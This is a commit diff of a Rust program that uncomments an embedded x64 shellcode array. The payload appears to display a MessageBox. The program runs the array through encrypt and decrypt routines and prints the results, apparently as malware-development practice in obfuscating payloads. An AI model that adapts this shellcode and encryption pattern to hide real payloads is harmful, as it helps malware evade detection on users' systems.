|
1 |
| -// mod encrypt; |
2 |
| -// mod decrypt; |
| 1 | +mod encrypt; |
| 2 | +mod decrypt; |
3 | 3 |
|
4 |
| -// use std::collections::HashMap; |
| 4 | +use std::collections::HashMap; |
5 | 5 |
|
6 |
| -// fn main() { |
7 |
| -// // Example shellcode |
8 |
| -// let shellcode = [ |
9 |
| -// 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, |
10 |
| -// 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, |
11 |
| -// 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, |
12 |
| -// 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, |
13 |
| -// 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, |
14 |
| -// 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, |
15 |
| -// 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, |
16 |
| -// 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, |
17 |
| -// 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, |
18 |
| -// 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, |
19 |
| -// 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, |
20 |
| -// 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, |
21 |
| -// 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, |
22 |
| -// 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, |
23 |
| -// 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, |
24 |
| -// 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, |
25 |
| -// 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, |
26 |
| -// 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, |
27 |
| -// 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, |
28 |
| -// 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, |
29 |
| -// 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, |
30 |
| -// 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, |
31 |
| -// 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, |
32 |
| -// 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, |
33 |
| -// 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, |
34 |
| -// 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, |
35 |
| -// 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, |
36 |
| -// 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00 |
37 |
| -// ]; |
| 6 | +fn main() { |
| 7 | + // Example shellcode |
| 8 | + let shellcode = [ |
| 9 | + 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, |
| 10 | + 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, |
| 11 | + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, |
| 12 | + 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, |
| 13 | + 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, |
| 14 | + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, |
| 15 | + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, |
| 16 | + 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, |
| 17 | + 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, |
| 18 | + 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, |
| 19 | + 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, |
| 20 | + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, |
| 21 | + 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, |
| 22 | + 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, |
| 23 | + 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, |
| 24 | + 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, |
| 25 | + 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, |
| 26 | + 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, |
| 27 | + 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, |
| 28 | + 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, |
| 29 | + 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, |
| 30 | + 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, |
| 31 | + 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, |
| 32 | + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, |
| 33 | + 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, |
| 34 | + 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, |
| 35 | + 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, |
| 36 | + 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00 |
| 37 | + ]; |
38 | 38 |
|
39 | 39 |
|
40 |
| -// let false_byte = 0x00; |
41 |
| -// let mut shellcode_map = HashMap::new(); |
| 40 | + let false_byte = 0x00; |
| 41 | + let mut shellcode_map = HashMap::new(); |
42 | 42 |
|
43 |
| -// let encrypted_shellcode = encrypt::encrypt_shellcode(&shellcode, false_byte); |
44 |
| -// // println!("Encrypted Shellcode: {:x?}", encrypted_shellcode); |
| 43 | + let encrypted_shellcode = encrypt::encrypt_shellcode(&shellcode, false_byte); |
| 44 | + // println!("Encrypted Shellcode: {:x?}", encrypted_shellcode); |
45 | 45 |
|
46 |
| -// println!("Encrypted Shellcode: ["); |
47 |
| -// let mut x = 1; |
48 |
| -// for byte in encrypted_shellcode.iter(){ |
49 |
| -// print!("0x{:x?}, ", byte); |
50 |
| -// if x % 8 == 0{ |
51 |
| -// println!(); |
52 |
| -// x = 0; |
53 |
| -// } |
54 |
| -// x += 1; |
55 |
| -// } |
| 46 | + println!("Encrypted Shellcode: ["); |
| 47 | + let mut x = 1; |
| 48 | + for byte in encrypted_shellcode.iter(){ |
| 49 | + print!("0x{:x?}, ", byte); |
| 50 | + if x % 8 == 0{ |
| 51 | + println!(); |
| 52 | + x = 0; |
| 53 | + } |
| 54 | + x += 1; |
| 55 | + } |
56 | 56 |
|
57 |
| -// println!("]"); |
| 57 | + println!("]"); |
58 | 58 |
|
59 |
| -// println!("\n\n"); |
60 |
| -// encrypt::store_shellcode(&mut shellcode_map, "example", &shellcode); |
| 59 | + println!("\n\n"); |
| 60 | + encrypt::store_shellcode(&mut shellcode_map, "example", &shellcode); |
61 | 61 |
|
62 |
| -// let decrypted_shellcode = decrypt::decrypt_shellcode(&encrypted_shellcode); |
63 |
| -// // println!("Decrypted Shellcode: {:x?}", decrypted_shellcode); |
| 62 | + let decrypted_shellcode = decrypt::decrypt_shellcode(&encrypted_shellcode); |
| 63 | + // println!("Decrypted Shellcode: {:x?}", decrypted_shellcode); |
64 | 64 |
|
65 | 65 |
|
66 |
| -// println!("Decrypted Shellcode: ["); |
67 |
| -// let mut x = 1; |
68 |
| -// for byte in decrypted_shellcode.iter(){ |
69 |
| -// print!("0x{:x?}, ", byte); |
70 |
| -// if x % 8 == 0{ |
71 |
| -// println!(); |
72 |
| -// x = 0; |
73 |
| -// } |
74 |
| -// x += 1; |
75 |
| -// } |
| 66 | + println!("Decrypted Shellcode: ["); |
| 67 | + let mut x = 1; |
| 68 | + for byte in decrypted_shellcode.iter(){ |
| 69 | + print!("0x{:x?}, ", byte); |
| 70 | + if x % 8 == 0{ |
| 71 | + println!(); |
| 72 | + x = 0; |
| 73 | + } |
| 74 | + x += 1; |
| 75 | + } |
76 | 76 |
|
77 |
| -// println!("]"); |
78 |
| -// println!("\n\n"); |
79 |
| - |
80 |
| -// if let Some(original_shellcode) = decrypt::get_original_shellcode(&shellcode_map, "example") { |
81 |
| -// println!("Original Shellcode: {:x?}", original_shellcode); |
82 |
| -// } else { |
83 |
| -// eprintln!("Original shellcode not found in map."); |
84 |
| -// } |
85 |
| -// } |
86 |
| - |
| 77 | + println!("]"); |
| 78 | + println!("\n\n"); |
87 | 79 |
|
88 |
| -fn consume_self<F>(func: F) where F: FnOnce() { |
89 |
| - func(); |
90 |
| -} |
91 |
| - |
92 |
| -fn main() { |
93 |
| - let message = "Hello".to_string(); |
94 |
| - consume_self(move || { |
95 |
| - println!("{}", message); |
96 |
| - }); |
| 80 | + if let Some(original_shellcode) = decrypt::get_original_shellcode(&shellcode_map, "example") { |
| 81 | + println!("Original Shellcode: {:x?}", original_shellcode); |
| 82 | + } else { |
| 83 | + eprintln!("Original shellcode not found in map."); |
| 84 | + } |
97 | 85 | }
|
0 commit comments